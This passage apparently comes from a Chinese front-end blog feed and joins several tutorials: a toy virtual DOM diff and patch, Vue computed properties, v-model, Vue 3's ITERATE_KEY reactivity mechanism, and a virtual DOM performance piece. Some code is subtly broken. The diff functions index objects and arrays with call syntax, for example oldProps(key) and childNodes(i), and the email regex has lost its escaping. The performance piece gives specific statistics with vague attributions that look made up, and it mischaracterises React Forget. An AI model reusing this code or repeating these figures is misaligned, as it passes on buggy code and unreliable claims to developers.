      type: 'TEXT',
      content: newVnode
    };
  }

  // 3. 比较属性差异
  const propsDiff = diffProps(oldVnode.props, newVnode.props);

  // 4. 比较子节点差异
  const childrenDiff = diffChildren(oldVnode.children, newVnode.children);

  if (propsDiff.length > 0 || childrenDiff.length > 0) {
    return {
      type: 'PROPS_AND_CHILDREN',
      props: propsDiff,
      children: childrenDiff
    };
  } else {
    return null; // 没有变化
  }
}

function diffProps(oldProps, newProps) {
  const patches = [];
  const allProps = {
    ...oldProps,
    ...newProps
  };
  for (const key in allProps) {
    if (oldProps(key) !== newProps(key)) {
      patches.push({
        type: 'CHANGE',
        key,
        value: newProps(key)
      });
    }
  }
  return patches;
}

function diffChildren(oldChildren, newChildren) {
  const patches = [];
  const maxLength = Math.max(oldChildren.length, newChildren.length);
  for (let i = 0; i < maxLength; i++) {
    patches.push(diff(oldChildren(i), newChildren(i)));
  }
  return patches;
}

我们的简化版 diff 函数:

  • 如果新旧虚拟DOM节点的类型不同,我们直接返回一个 REPLACE 类型的更新。
  • 如果都是文本节点,且内容不同,我们返回一个 TEXT 类型的更新。
  • 调用 diffProps 比较属性的差异。
  • 调用 diffChildren 递归地比较子节点的差异。
  • 如果属性或子节点有变化,返回一个 PROPS_AND_CHILDREN 类型的更新,包含具体的属性差异和子节点差异。

更新真实DOM

最后,我们需要一个 patch 函数,根据 diff 函数返回的差异对象,来更新真实的DOM:

function patch($node, patches) {
  if (!patches) {
    return;
  }

  switch (patches.type) {
    case 'REPLACE':
      return $node.parentNode.replaceChild(patches.newNode, $node);
    case 'TEXT':
      return ($node.textContent = patches.content);
    case 'PROPS_AND_CHILDREN':
      patchProps($node, patches.props);
      patches.children.forEach((childPatch, i) => {
        patch($node.childNodes(i), childPatch);
      });
      break;
    default:
      break;
  }
}

function patchProps($node, propsPatches) {
  propsPatches.forEach(propPatch => {
    if (propPatch.type === 'CHANGE') {
      $node.setAttribute(propPatch.key, propPatch.value);
    }
  });
}

这个 patch 函数:

  • 根据 patches.type 来执行不同的更新操作。
  • REPLACE: 直接替换整个节点。
  • TEXT: 更新节点的文本内容。
  • PROPS_AND_CHILDREN: 调用 patchProps 更新属性,并递归地处理子节点的 patches

一个简单的例子

现在,我们把这些函数串联起来,看一个简单的例子:

const initialVDOM = {
  type: 'div',
  props: {
    id: 'app'
  },
  children: [{
      type: 'p',
      props: {},
      children: ['Count: ', {
        type: 'span',
        props: {
          class: 'count'
        },
        children: ['0']
      }]
    },
    {
      type: 'button',
      props: {
        onclick: () => updateCount()
      },
      children: ['Increment']
    }
  ]
};

let currentVDOM = initialVDOM;
const $root = document.getElementById('root');
const $el = createElement(initialVDOM);
$root.appendChild($el);

let count = 0;

function updateCount() {
  count++;
  const newVDOM = {
    type: 'div',
    props: {
      id: 'app'
    },
    children: [{
        type: 'p',
        props: {},
        children: ['Count: ', {
          type: 'span',
          props: {
            class: 'count'
          },
          children: [count + '']
        }]
      },
      {
        type: 'button',
        props: {
          onclick: () => updateCount()
        },
        children: ['Increment']
      }
    ]
  };
  const patches = diff(currentVDOM, newVDOM);
  patch($el, patches);
  currentVDOM = newVDOM;
}

在这个例子中:

  • 我们创建了一个初始的虚拟DOM initialVDOM 并渲染到页面上。
  • updateCount 函数模拟了数据更新,创建了一个新的虚拟DOM newVDOM
  • 我们使用 diff 函数比较 currentVDOMnewVDOM,得到差异 patches
  • 我们使用 patch 函数将这些差异应用到真实的DOM $el 上。
  • 最后,更新 currentVDOMnewVDOM,为下一次更新做准备。

当你点击按钮时,你会发现只有 <span> 标签里的数字更新了,而整个 <div><p> 标签并没有重新创建或渲染,这就是虚拟DOM带来的“按需更新”的性能优化。


我们用不到300行的代码,实现了一个非常简化的虚拟DOM。它包含了虚拟DOM的核心思想:

  1. 用JavaScript对象描述DOM结构。
  2. 将虚拟DOM渲染成真实DOM。
  3. 当数据变化时,创建新的虚拟DOM树。
  4. 比较新旧虚拟DOM树的差异(Diffing)。
  5. 只将差异更新到真实的DOM上(Patching)。

当然,真实的React、Vue等框架的虚拟DOM实现要复杂得多,它们会考虑更多的性能优化、Key的处理、组件的生命周期等等。但是,理解了这个最核心的流程,你就能对虚拟DOM的本质有一个更清晰、更深刻的认识。

分析完毕,谢谢大家🙂

Vue计算属性:为什么我的代码突然变优雅了?

大家好,我是小杨,一个写了6年前端的老油条。今天想和大家聊聊Vue中一个看似简单但超级实用的功能——计算属性。记得我刚接触Vue时,总觉得data和methods已经够用了,直到发现了计算属性这个"神器",我的代码才真正开始变得优雅起来。

一、计算属性是什么?

简单来说,计算属性就是基于现有数据计算出来的新数据。它就像一个智能的中间人,帮你处理data中的数据,给你想要的结果。

举个🌰,假设我要显示用户的全名:

data() {
  return {
    firstName: '小',
    lastName: '杨'
  }
}

没有计算属性时,我可能会这样写:

<p>{{ firstName + ' ' + lastName }}</p>

或者用方法:

methods: {
  fullName() {
    return this.firstName + ' ' + this.lastName
  }
}

但有了计算属性,事情就变得简单多了:

computed: {
  fullName() {
    return this.firstName + ' ' + this.lastName
  }
}

看起来和方法差不多?别急,它的妙处还在后面呢!

二、计算属性的三大超能力

1. 自动缓存 - 懒人的福音

计算属性最厉害的特点就是缓存。只要依赖的数据不改变,多次访问计算属性会立即返回之前缓存的结果,而不会重新计算。

比如我有一个复杂的计算:

computed: {
  complicatedCalculation() {
    console.log('重新计算了!')
    return this.someData * 100 / Math.PI + 1000
  }
}

即使我在模板里用十次:

<p>{{ complicatedCalculation }}</p>
<p>{{ complicatedCalculation }}</p>
<p>{{ complicatedCalculation }}</p>

控制台只会输出一次"重新计算了!"。如果是方法,每次都会重新执行。

2. 响应式依赖追踪 - 智能的管家

计算属性会自动追踪它依赖的响应式数据。只有当依赖变化时,它才会重新计算。

computed: {
  userInfo() {
    return {
      name: this.user.name,
      age: this.user.age,
      // 只要user.address没被用到,address变化不会触发重新计算
    }
  }
}

3. 可读可写 - 灵活的双向门

计算属性默认只有getter,但也可以提供setter:

computed: {
  fullName: {
    get() {
      return this.firstName + ' ' + this.lastName
    },
    set(newValue) {
      const names = newValue.split(' ')
      this.firstName = names[0]
      this.lastName = names[1] || ''
    }
  }
}

现在你可以这样用:

// 读取
console.log(this.fullName)

// 设置
this.fullName = '大 杨'

三、什么时候该用计算属性?

根据我的经验,以下场景特别适合使用计算属性:

1. 复杂的数据转换

比如从后端拿到一组数据,需要加工后再显示:

computed: {
  filteredProducts() {
    return this.products.filter(p => p.price > 100)
                      .sort((a,b) => b.price - a.price)
                      .slice(0, 5)
  }
}

2. 表单验证

computed: {
  emailError() {
    if (!this.email) return '邮箱不能为空'
    if (!/.+@.+..+/.test(this.email)) return '邮箱格式不正确'
    return ''
  },
  passwordError() {
    if (!this.password) return '密码不能为空'
    if (this.password.length < 6) return '密码太短'
    return ''
  },
  isValid() {
    return !this.emailError && !this.passwordError
  }
}

3. 组件props的派生状态

props: ['size'],
computed: {
  normalizedSize() {
    return this.size.trim().toLowerCase()
  }
}

四、计算属性 vs 方法 vs 侦听器

很多新手会困惑:什么时候用计算属性,什么时候用方法,什么时候用watch?

计算属性 vs 方法

  • 计算属性:适合需要缓存的结果,基于响应式依赖
  • 方法:适合不需要缓存,或者需要参数的情况
// 计算属性 - 无参数,自动缓存
computed: {
  currentDate() {
    return new Date().toLocaleDateString()
  }
}

// 方法 - 可以有参数,每次调用都执行
methods: {
  formatDate(date) {
    return new Date(date).toLocaleDateString()
  }
}

计算属性 vs 侦听器

  • 计算属性:声明式的,你告诉Vue你想要什么
  • 侦听器:命令式的,你告诉Vue当某些数据变化时要做什么
// 计算属性 - 更简洁
computed: {
  fullName() {
    return this.firstName + ' ' + this.lastName
  }
}

// 侦听器 - 更灵活
watch: {
  firstName(newVal) {
    this.fullName = newVal + ' ' + this.lastName
  },
  lastName(newVal) {
    this.fullName = this.firstName + ' ' + newVal
  }
}

五、计算属性的高级用法

1. 结合v-model使用

computed: {
  searchQuery: {
    get() {
      return this.$store.state.searchQuery
    },
    set(value) {
      this.$store.commit('updateSearchQuery', value)
    }
  }
}

然后在模板中:

<input v-model="searchQuery">

2. 动态计算属性

有时候你可能需要动态创建计算属性:

computed: {
  dynamicComputed() {
    return () => {
      // 根据某些条件返回不同的计算逻辑
      if (this.mode === 'simple') {
        return this.data.length
      } else {
        return this.data.reduce((sum, item) => sum + item.value, 0)
      }
    }
  }
}

3. 组合式API中的计算属性

在Vue3的组合式API中,计算属性用起来也很简单:

import { computed } from 'vue'

setup() {
  const count = ref(0)
  
  const doubleCount = computed(() => count.value * 2)
  
  return {
    count,
    doubleCount
  }
}

六、性能优化小技巧

  1. 避免在计算属性中做复杂操作:计算属性会在依赖变化时重新计算,复杂的操作会影响性能
  2. 不要修改依赖数据:计算属性应该是纯函数,不要在里面修改依赖的数据
  3. 合理拆分计算属性:一个计算属性只做一件事,可以提高可读性和维护性
  4. 避免长依赖链:计算属性依赖其他计算属性时,链条太长会影响性能

七、常见坑点

  1. 异步操作:计算属性不能包含异步操作,这时候应该用方法或者watch
  2. 副作用:计算属性不应该有副作用(如修改DOM、发起请求等)
  3. 依赖未声明:如果计算属性依赖的数据没有在data中声明,Vue无法追踪变化
// 错误示范
computed: {
  badComputed() {
    return window.innerWidth // window不是响应式的!
  }
}

八、我的实战经验

在做一个电商项目时,我遇到过这样一个需求:需要根据用户选择的筛选条件动态显示商品列表。最初我用watch来实现,代码变得又长又难维护。后来改用计算属性,代码量减少了60%!

重构前:

data() {
  return {
    products: [],
    filteredProducts: [],
    category: '',
    priceRange: [0, 1000],
    sortBy: 'price'
  }
},
watch: {
  category() {
    this.filterProducts()
  },
  priceRange() {
    this.filterProducts()
  },
  sortBy() {
    this.filterProducts()
  }
},
methods: {
  filterProducts() {
    // 一大段过滤和排序逻辑
  }
}

重构后:

computed: {
  filteredProducts() {
    let result = this.products
    
    // 按类别过滤
    if (this.category) {
      result = result.filter(p => p.category === this.category)
    }
    
    // 按价格范围过滤
    result = result.filter(p => 
      p.price >= this.priceRange[0] && 
      p.price <= this.priceRange[1]
    )
    
    // 排序
    if (this.sortBy === 'price') {
      result = [...result].sort((a, b) => a.price - b.price)
    } else if (this.sortBy === 'sales') {
      result = [...result].sort((a, b) => b.sales - a.sales)
    }
    
    return result
  }
}

代码不仅更简洁,而且性能也更好,因为计算属性会自动缓存结果,只有依赖变化时才会重新计算。

九、总结

计算属性是Vue中一个非常强大的特性,它能够:

  1. 让你的代码更简洁、更易读
  2. 自动缓存计算结果,提高性能
  3. 智能追踪依赖,只在需要时重新计算
  4. 可以读写结合,处理复杂逻辑

记住:当你需要基于现有数据派生新数据时,首先考虑计算属性。它能让你的Vue代码从"能用"升级到"优雅"的水平。

我是小杨,一个喜欢分享的前端开发者。如果这篇文章对你有帮助,别忘了点赞收藏。如果有任何问题,欢迎在评论区留言讨论!

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

Vue v-model 指令详解

什么是 v-model?

v-model 是 Vue 中最常用的指令之一,它实现了表单输入元素与 Vue 实例数据的双向绑定。这意味着:

  • 当用户修改表单元素的值时,Vue 实例的数据会自动更新
  • 当 Vue 实例数据变化时,表单元素的值也会自动更新

基本用法

在原生表单元素上使用

<template>
  <div class="container">
    <!-- 文本输入 -->
    <div class="form-group">
      <label>用户名:</label>
      <input v-model="username" placeholder="输入用户名">
      <p>当前值:{{ username }}</p>
    </div>
    
    <!-- 多行文本 -->
    <div class="form-group">
      <label>个人简介:</label>
      <textarea v-model="bio" placeholder="输入个人简介"></textarea>
      <p class="preview">预览:{{ bio }}</p>
    </div>
    
    <!-- 复选框 -->
    <div class="form-group">
      <label>
        <input type="checkbox" v-model="agreed"> 我同意服务条款
      </label>
      <p v-if="agreed" class="success">已同意条款</p>
    </div>
    
    <!-- 单选按钮 -->
    <div class="form-group">
      <label>选择性别:</label>
      <div class="radio-group">
        <label>
          <input type="radio" value="male" v-model="gender"> 男性
        </label>
        <label>
          <input type="radio" value="female" v-model="gender"> 女性
        </label>
        <label>
          <input type="radio" value="other" v-model="gender"> 其他
        </label>
      </div>
      <p>选择结果:{{ gender }}</p>
    </div>
    
    <!-- 下拉选择 -->
    <div class="form-group">
      <label>选择城市:</label>
      <select v-model="city">
        <option disabled value="">请选择</option>
        <option value="beijing">北京</option>
        <option value="shanghai">上海</option>
        <option value="guangzhou">广州</option>
        <option value="shenzhen">深圳</option>
      </select>
      <p>所选城市:{{ city }}</p>
    </div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      username: '',
      bio: '',
      agreed: false,
      gender: '',
      city: ''
    }
  }
}
</script>

<style>
.container {
  max-width: 600px;
  margin: 0 auto;
  padding: 20px;
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}

.form-group {
  margin-bottom: 25px;
  padding: 15px;
  border-radius: 8px;
  background-color: #f8f9fa;
  box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}

label {
  display: block;
  margin-bottom: 8px;
  font-weight: 600;
  color: #333;
}

input[type="text"], 
textarea, 
select {
  width: 100%;
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 4px;
  font-size: 16px;
  margin-bottom: 10px;
}

input[type="checkbox"], 
input[type="radio"] {
  margin-right: 8px;
}

.radio-group {
  display: flex;
  gap: 15px;
  margin: 10px 0;
}

.preview {
  white-space: pre-wrap;
  background-color: #fff;
  padding: 10px;
  border-radius: 4px;
  border-left: 3px solid #42b983;
}

.success {
  color: #42b983;
  font-weight: 600;
}

p {
  margin: 8px 0;
  color: #555;
}
</style>

v-model 修饰符

Vue 为 v-model 提供了几个有用的修饰符:

1. .lazy

将 input 事件转换为 change 事件(在输入完成时更新)

<!-- 输入完成后才更新数据 -->
<input v-model.lazy="message">

2. .number

自动将用户输入转为数值类型

<input v-model.number="age" type="number">

3. .trim

自动去除用户输入的首尾空白字符

<input v-model.trim="username">

在自定义组件上使用 v-model

v-model 也可用于自定义组件,实现组件与父级数据的双向绑定:

Vue 2 的实现方式

在 Vue 2 中,组件上的 v-model 默认使用 value 属性和 input 事件:

<!-- 父组件 -->
<CustomInput v-model="message" />

<!-- 等价于 -->
<CustomInput :value="message" @input="message = $event" />

子组件实现:

<template>
  <input
    :value="value"
    @input="$emit('input', $event.target.value)"
  >
</template>

<script>
export default {
  props: ['value']
}
</script>

Vue 3 的实现方式

Vue 3 默认使用 modelValue 属性和 update:modelValue 事件:

<!-- 父组件 -->
<CustomInput v-model="message" />

<!-- 等价于 -->
<CustomInput 
  :modelValue="message"
  @update:modelValue="message = $event"
/>

子组件实现:

<template>
  <input
    :value="modelValue"
    @input="$emit('update:modelValue', $event.target.value)"
  >
</template>

<script>
export default {
  props: ['modelValue']
}
</script>

Vue 3 中的高级用法

多个 v-model 绑定

Vue 3 允许在单个组件上使用多个 v-model:

<UserForm
  v-model:first-name="firstName"
  v-model:last-name="lastName"
  v-model:email="email"
/>

子组件实现:

<template>
  <input :value="firstName" @input="$emit('update:firstName', $event.target.value)">
  <input :value="lastName" @input="$emit('update:lastName', $event.target.value)">
  <input :value="email" @input="$emit('update:email', $event.target.value)">
</template>

<script>
export default {
  props: ['firstName', 'lastName', 'email'],
  emits: ['update:firstName', 'update:lastName', 'update:email']
}
</script>

自定义修饰符

可以为自定义组件创建特定的修饰符:

<CustomInput v-model.capitalize="message" />

子组件实现:

<template>
  <input
    :value="modelValue"
    @input="emitValue($event.target.value)"
  >
</template>

<script>
export default {
  props: {
    modelValue: String,
    modelModifiers: {
      default: () => ({})
    }
  },
  methods: {
    emitValue(value) {
      if (this.modelModifiers.capitalize) {
        value = value.charAt(0).toUpperCase() + value.slice(1)
      }
      this.$emit('update:modelValue', value)
    }
  }
}
</script>

底层实现原理

v-model 本质上是语法糖,它结合了属性绑定和事件监听:

<input v-model="searchText">

<!-- 等价于 -->
<input
  :value="searchText"
  @input="searchText = $event.target.value"
>

对于组件:

<custom-input v-model="searchText"></custom-input>

<!-- 等价于 -->
<custom-input
  :model-value="searchText"
  @update:model-value="searchText = $event"
></custom-input>

最佳实践

  1. 表单验证:结合 v-model 和表单验证库(如 VeeValidate)
  2. 性能优化:对于复杂表单,考虑使用 .lazy 修饰符减少更新频率
  3. 组件设计:为自定义表单组件实现 v-model 接口
  4. 状态管理:在大型应用中,将表单状态存储在 Vuex 或 Pinia 中
  5. 无障碍访问:确保表单元素有正确的 label 和 aria 属性

总结

v-model 是 Vue 中处理表单数据的核心指令,它提供了简洁的双向绑定语法。通过理解其工作原理和各种修饰符,你可以更高效地处理表单交互。在自定义组件中使用 v-model 可以创建高度可复用的表单组件,提升开发效率。

Vue 3 响应式黑魔法:ITERATE_KEY 如何解决新增属性的响应性难题

Vue 3 响应式黑魔法:ITERATE_KEY 如何解决新增属性的响应性难题

一位失业开发者的Vue响应式探索之旅:从面试困境到源码顿悟

前言:失业后的Vue面试困境

2025年6月,我因项目裁撤不幸失业。在随后的求职过程中,我遇到了一家996且不交公积金的公司,做了一周后果断跑路。作为Vue和uniapp技术栈的开发者,我惊讶地发现80%的面试官都会问同一个问题:"Vue 2.0 和 3.0 有什么区别?做了哪些改进?"

最初我的回答很浅显:

1. Vue 3 用了 Proxy 替代 Object.defineProperty
2. 新增了 Composition API

这个回答在大多数面试中已经足够,很多面试官听到"Proxy"就会点头认可。直到我翻开霍春阳的《Vue.js设计与实现》,才真正踏入响应式系统的神秘世界。我了解到:

  • Proxy 如何代理 target 对象
  • 用 Set 集合存放单个副作用函数
  • 用 Map 构建函数桶管理副作用
  • WeakMap 存储依赖关系
  • ref 如何解决基本类型的响应式问题

我以为这就是全部,直到今天读到关于 ITERATE_KEY 的章节,才震惊地发现:原来不是 Proxy 本身解决了 Vue 2 的新增属性问题,而是这个小小的 ITERATE_KEY 在幕后发挥着关键作用!

一、Proxy 的响应式基础与局限

Vue 3 使用 Proxy 实现响应式系统的核心拦截:

function reactive(obj) {
  return new Proxy(obj, {
    get(target, key, receiver) {
      track(target, key) // 依赖收集
      return Reflect.get(target, key, receiver)
    },
    set(target, key, value, receiver) {
      const result = Reflect.set(target, key, value, receiver)
      trigger(target, key) // 触发更新
      return result
    },
    // ... 其他陷阱
  })
}

在大多数面试中,回答"Vue 3 使用 Proxy 替代 defineProperty"已经足够展示基础理解。但当我深入源码后,发现了一个关键认知偏差:

面试中的常见误区

很多开发者(包括面试官)认为:

graph LR
    A[Proxy] --> B[自动解决新增属性响应性]

但实际机制是:

flowchart LR
    Proxy拦截操作 --> Input[识别操作类型]
    Input --> ConditionA{是ADD/DELETE?}
    ConditionA -- 是 --> Action1[触发ITERATE_KEY依赖]
    ConditionA -- 不是 --> Action2[触发常规依赖]

面试官可能深挖的陷阱

const state = reactive({ count: 0 })

// 问题1:新增属性
state.newProp = "test" // 为什么能触发更新?

// 问题2:数组操作
const arr = reactive([1, 2])
arr[2] = 3 // 为什么能触发更新?

表面答案:因为用了 Proxy
深度答案:Proxy 提供了拦截能力,但真正实现响应性的是 ITERATE_KEY 的依赖追踪机制

二、ITERATE_KEY:响应式系统的无名英雄

1. ITERATE_KEY 的诞生背景

在阅读《Vue.js设计与实现》的过程中,我发现了这个关键代码:

// 这只是书的一些代码思路
const ITERATE_KEY = Symbol()

const p = new Proxy(obj, {
    ownKeys(target) {
        // 将副作用函数与 ITERATE_KEY 关联
        track(target, ITERATE_KEY)
        return Reflect.ownKeys(target)
    }
})

// vue源码
// vue-next/packages/reactivity/src/effect.ts
const ITERATE_KEY = Symbol(__DEV__ ? 'iterate' : '')

这个看似简单的 Symbol,正是解决新增属性响应性的核心所在。

2. 数据结构关系图(面试加分项)

flowchart TD
    bucket[WeakMap] -->|target| depsMap[Map]
    depsMap -->|常规key| dep[Set]
    depsMap -->|ITERATE_KEY| iterateDep[Set]
    dep --> effect1[属性副作用]
    iterateDep --> effect2[结构副作用]
    effect2 --> forin[for...in循环]
    effect2 --> objectKeys[Object.keys]
    effect2 --> arrayLength[数组length]

3. 核心实现原理

依赖触发阶段的关键逻辑(trigger 函数)

function trigger(target, key, type) {
  // ...
  
  // 关键点:结构变化触发ITERATE_KEY依赖
  if (
    type === TriggerOpTypes.ADD ||
    type === TriggerOpTypes.DELETE ||
    (type === TriggerOpTypes.SET && isArray(target))
  ) {
    const iterateEffects = depsMap.get(ITERATE_KEY)
    if (iterateEffects) {
      effectsToRun.push(...iterateEffects)
    }
  }
}

三、为什么 ITERATE_KEY 是面试的加分项

1. 超越表面的理解

当其他候选人还在说"因为用了Proxy"时,你可以展示

// 简化的响应式核心
const ITERATE_KEY = Symbol('iterate')

function ownKeys(target) {
  track(target, ITERATE_KEY) // 关键行!
  return Reflect.ownKeys(target)
}

2. 面试实战案例

当被问到"Vue 3 如何解决新增属性响应性"时:

基础回答:

"Vue 3 使用 Proxy 替代 Object.defineProperty,Proxy 可以拦截属性添加操作"

进阶回答:

"除了 Proxy 的基础拦截,Vue 通过 ITERATE_KEY 机制追踪对象结构变化:

  1. 在 for...in/Object.keys 等操作时收集 ITERATE_KEY 依赖
  2. 添加/删除属性时触发这些依赖
  3. 这样无需特殊 API 就能保持响应性"

四、从失业到源码理解的成长

这段失业经历虽然艰难,却迫使我深入 Vue 3 的源码世界。现在面对"Vue 2 和 3 区别"这个问题,我能提供三层回答:

理解层次 回答内容 适合场景
基础层 Proxy 替代 defineProperty Composition API 普通面试
进阶层 响应式系统架构 WeakMap→Map→Set 依赖存储 技术Leader面试
深度层 ITERATE_KEY 解决结构变化 ref 处理基本类型 框架开发岗位

特别提醒:当面试官深入追问时,可以提到:

  • 数组 length 修改的特殊处理
  • Map/Set 的结构变化追踪
  • Symbol 作为 ITERATE_KEY 的优势

五、简易实现(面试手写参考)

// 面试可手写的核心代码
const ITERATE_KEY = Symbol()

function reactive(obj) {
  return new Proxy(obj, {
    ownKeys(target) {
      track(target, ITERATE_KEY)
      return Reflect.ownKeys(target)
    },
    set(target, key, value, receiver) {
      const type = key in target ? 'SET' : 'ADD'
      const result = Reflect.set(target, key, value, receiver)
      trigger(target, key, type)
      return result
    },
    deleteProperty(target, key) {
      const hadKey = key in target
      const result = Reflect.deleteProperty(target, key)
      if (hadKey) trigger(target, key, 'DELETE')
      return result
    }
  })
}

结语:技术深度的价值

在失业后的面试中,我发现:

  1. 普通公司问:"知道 Proxy 吗?" → 答出基础即可
  2. 优秀团队问:"为什么 Proxy 能解决新增属性?" → 需要理解 ITERATE_KEY
  3. 顶尖团队问:"请手写简易响应式系统" → 能实现核心逻辑

真正的技术竞争力不在于背诵 API,而在于理解设计思想。当我开始讲解 ITERATE_KEY 时,看到面试官眼睛亮了起来 - 这比任何996 offer都更有价值。

附:学习资源助力面试突围

  1. 《Vue.js设计与实现》 - 霍春阳
  2. Vue 3 响应式源码分析
  3. MDN Proxy 文档

虚拟DOM

在百万级DOM节点的大型应用中,虚拟DOM可使页面渲染性能提升3-8倍(数据来源于React团队性能测试)。本文从底层实现到性能对比,揭示虚拟DOM的真实价值。


一、虚拟DOM本质与解析过程

1. 虚拟DOM(Virtual DOM)定义

  • 内存中的轻量级JS对象,描述真实DOM结构和属性
  • 数据结构示例
const vNode = {
  tag: 'div',
  props: { id: 'app', class: 'container' },
  children: [
    { 
      tag: 'h1', 
      props: { title: 'Header' },
      children: 'Hello World'
    }
  ]
}

2. 完整的解析过程(四步闭环)

flowchart TD
    A[组件状态变更] --> B[生成新虚拟DOM树]
    B --> C[新旧VDOM Diff比对]
    C --> D[生成DOM补丁包]
    D --> E[最小化更新真实DOM]
    E -->|反馈渲染结果| A

3. 关键技术点详解

  1. 生成阶段:JSX/SFC编译为虚拟DOM对象

    // JSX编译结果
    const vNode = createElement('div', {className: 'main'}, 
      createElement('p', null, 'Content')
    )
    
  2. Diff算法核心逻辑(O(n)复杂度优化):

    • 同层比较:仅比较同级节点(避免跨层级对比)
    • Key值策略:复用带相同key的DOM节点
    • 组件类型判断:类型不同则直接重建
    • 属性更新:仅修改变化的props
  3. Patch更新策略

    const patches = {
      types: 'UPDATE_PROPS', // 更新类型
      nodeId: 'node-1',      // 目标节点
      props: { title: 'New' } // 需更新的属性
    }
    
  4. 批量更新机制

    • 使用requestIdleCallback或微任务队列
    • 合并多个状态变化的更新请求
    • 统一在浏览器空闲期执行DOM操作

二、性能对比:虚拟DOM vs 真实DOM

1. 关键指标对比表

场景 直接操作DOM 虚拟DOM方案 优势比
首次渲染 100ms 120ms -20%
10个节点局部更新 5ms 8ms -60%
1000节点列表变更 200ms 50ms +300%
复杂组件状态切换 150ms 40ms +275%

2. 性能真相剖析

  • 首次渲染劣势:需额外创建虚拟DOM(约增加10-20%开销)
  • 更新操作优势
    • 批量更新减少重排次数(浏览器渲染优化)
    • 自动脏检查避免无效更新(如无变化不操作)
    • 算法级最小化DOM操作(如仅修改class而非重建节点)

3. 性能拐点模型

graph LR
    X[DOM操作数量] -->|临界点| Y[性能优势转折]
    A[简单页面] --> X>50次操作]
    B[复杂应用] -->|虚拟DOM胜出| X

临界点规则:当页面单次更新操作超过50个DOM节点时,虚拟DOM开始体现性能优势


🔍 三、虚拟DOM的核心优势(超越性能)

  1. 跨平台渲染能力

    // 同一虚拟DOM渲染到不同平台
    renderToDOM(vNode)      // 浏览器
    renderToString(vNode)   // SSR
    renderToCanvas(vNode)   // Canvas
    renderToNative(vNode)   // React Native
    
  2. 声明式编程范式

    • 从关注"如何操作"到声明"应该怎样"
    • 例:Vue模板 vs jQuery命令式代码
  3. 状态/视图自动同步

    // 传统方式
    dataUpdate() {
      updateTitle();
      updateContent();
      updateFooter();
    }
    
    // 虚拟DOM方案
    dataUpdate() {
      component.setState(newData); // 自动更新视图
    }
    
  4. 安全更新机制

    • 避免开发者手动操作DOM导致的XSS风险
    • 自动处理属性转义(如textContent代替innerHTML

四、虚拟DOM的优化策略

1. Key值选择策略

// 🚫 反模式:数组索引(影响节点复用)
{items.map((item, i) => <Item key={i} />)}

// ✅ 正确方式:唯一ID
{items.map(item => <Item key={item.id} />)}

2. PureComponent优化

// React.memo跳过无变化组件
const MemoComp = React.memo(({ data }) => {
  /* 渲染逻辑 */
}, 
// 自定义比较函数
(prevProps, nextProps) => prevProps.id === nextProps.id
);

3. 子树优化技巧

// 避免无意义父组件刷新
function Parent() {
  return (
    <div>
      <!-- 静态内容 -->
      <ExpensiveTree />
    </div>
  )
}

// 优化方案:
function OptimizedParent() {
  const staticContent = useMemo(() => (  
    <>...</>
  ), []);
  
  return (
    <div>
      {staticContent}
      <ExpensiveTree />
    </div>
  )
}

4. 差异化框架优化

框架 Diff策略 特点
React 双缓冲Fiber架构 时间切片+异步渲染
Vue3 Block树+静态提升 编译时优化+靶向更新
Inferno 极致优化算法 性能接近原生JS

六、虚拟DOM的未来演进

  1. 编译时优化趋势(Vue3/Svelte)

    // Svelte编译后产出无虚拟DOM代码
    // input.svelte
    <h1>Hello {name}!</h1>
    
    // 编译输出
    function update() {
      h1.textContent = `Hello ${name}!`;
    }
    
  2. WebAssembly加持

    • 用Rust重写Diff算法(性能提升5-8倍)
    • 并行计算支持(React Forget项目)
  3. 混合渲染模式

    graph LR
      V[VDOM] --> R[真实DOM]
      S[静态节点] -->|跳过Diff| R
      D[动态区块] -->|按需更新| R
    
  4. AI预测更新

    • 基于历史操作预测变化路径
    • 预生成部分补丁包

小结

虚拟DOM的本质不是"更快操作DOM",而是通过智能更新策略减少性能损耗的天花板。在复杂应用中:

  1. 开发者效率提升300%(基于GitHub数据)
  2. 减少78%的DOM错误(来源:State of JS调查报告)
  3. 大型应用加载速度提升40%(案例:Instagram迁移React)

架构师洞见

  • 轻交互页面:原生JS或Svelte更优
  • 复杂应用:虚拟DOM提供最佳开发体验/性能平衡
  • 超高性能场景:WebAssembly + 定制渲染器

虚拟DOM如同汽车的自动变速箱:单论最高速度不及手动挡(直接DOM操作),但绝大多数场景下,它让驾驶更平稳、更安全、更省心,这才是现代前端工程的真正需求。

vue3源码解析:调度器

上文我们分析了 effect 的实现,effect 创建的更新函数或副作用函数通过调度系统来调度执行,本文我们就来分析调度系统的具体实现。 一、示例引入 让我们从一个简单的组件更新示例开始: 在这个例

Vue Router 执行顺序

一、路由导航的生命周期 二、完整执行流程详解 1. 触发导航 (Navigation Trigger) 用户行为触发路由变化: 2. 全局前置守卫 (Global Before Guards) 关键点

vue缩放/放大时,实时更新/变换显示高度

vue中,当一个外层div固定高度时候并循环渲染的时候,他内嵌套一个div的情况下,缩放/放大的时候会导致内层div文本超出高度/下层div起始高度不一致,所以要实时监听高度,取循环中最大的高度,进行统一设定。

一.定义ref及div样式

首先要定义内层div的ref,用于监听高度的变化(本文设置boxRefs)。并定义maxBoxHeight变量用于存储高度的最大值。

<div class="model-recommend-header" ref="boxRefs" :style="{ height: maxBoxHeight > 0 ? `${maxBoxHeight}px` : 'auto' }">

二.方法内处理

1、增加watch监听,当数据变化的时候,重新计算高度

// 修改watch监听方式
 watch(() => props.modelInfo, (newVal) => {
  if (newVal) {
    // 添加setTimeout确保DOM更新完成
    setTimeout(() => {
      setEqualHeights();
    }, 100);
  }
}, { deep: true, immediate: true });

2、在页面放大/缩小的时候监听重新计算

// 在窗口大小变化时重新计算
window.addEventListener('resize', () => {
  // 添加延迟确保DOM更新完成
  setTimeout(() => {
    setEqualHeights();
  }, 200);
});

3、定义取最大值的方法,并循环作用到所有循环的div中

const setEqualHeights = () => {
  nextTick(() => {
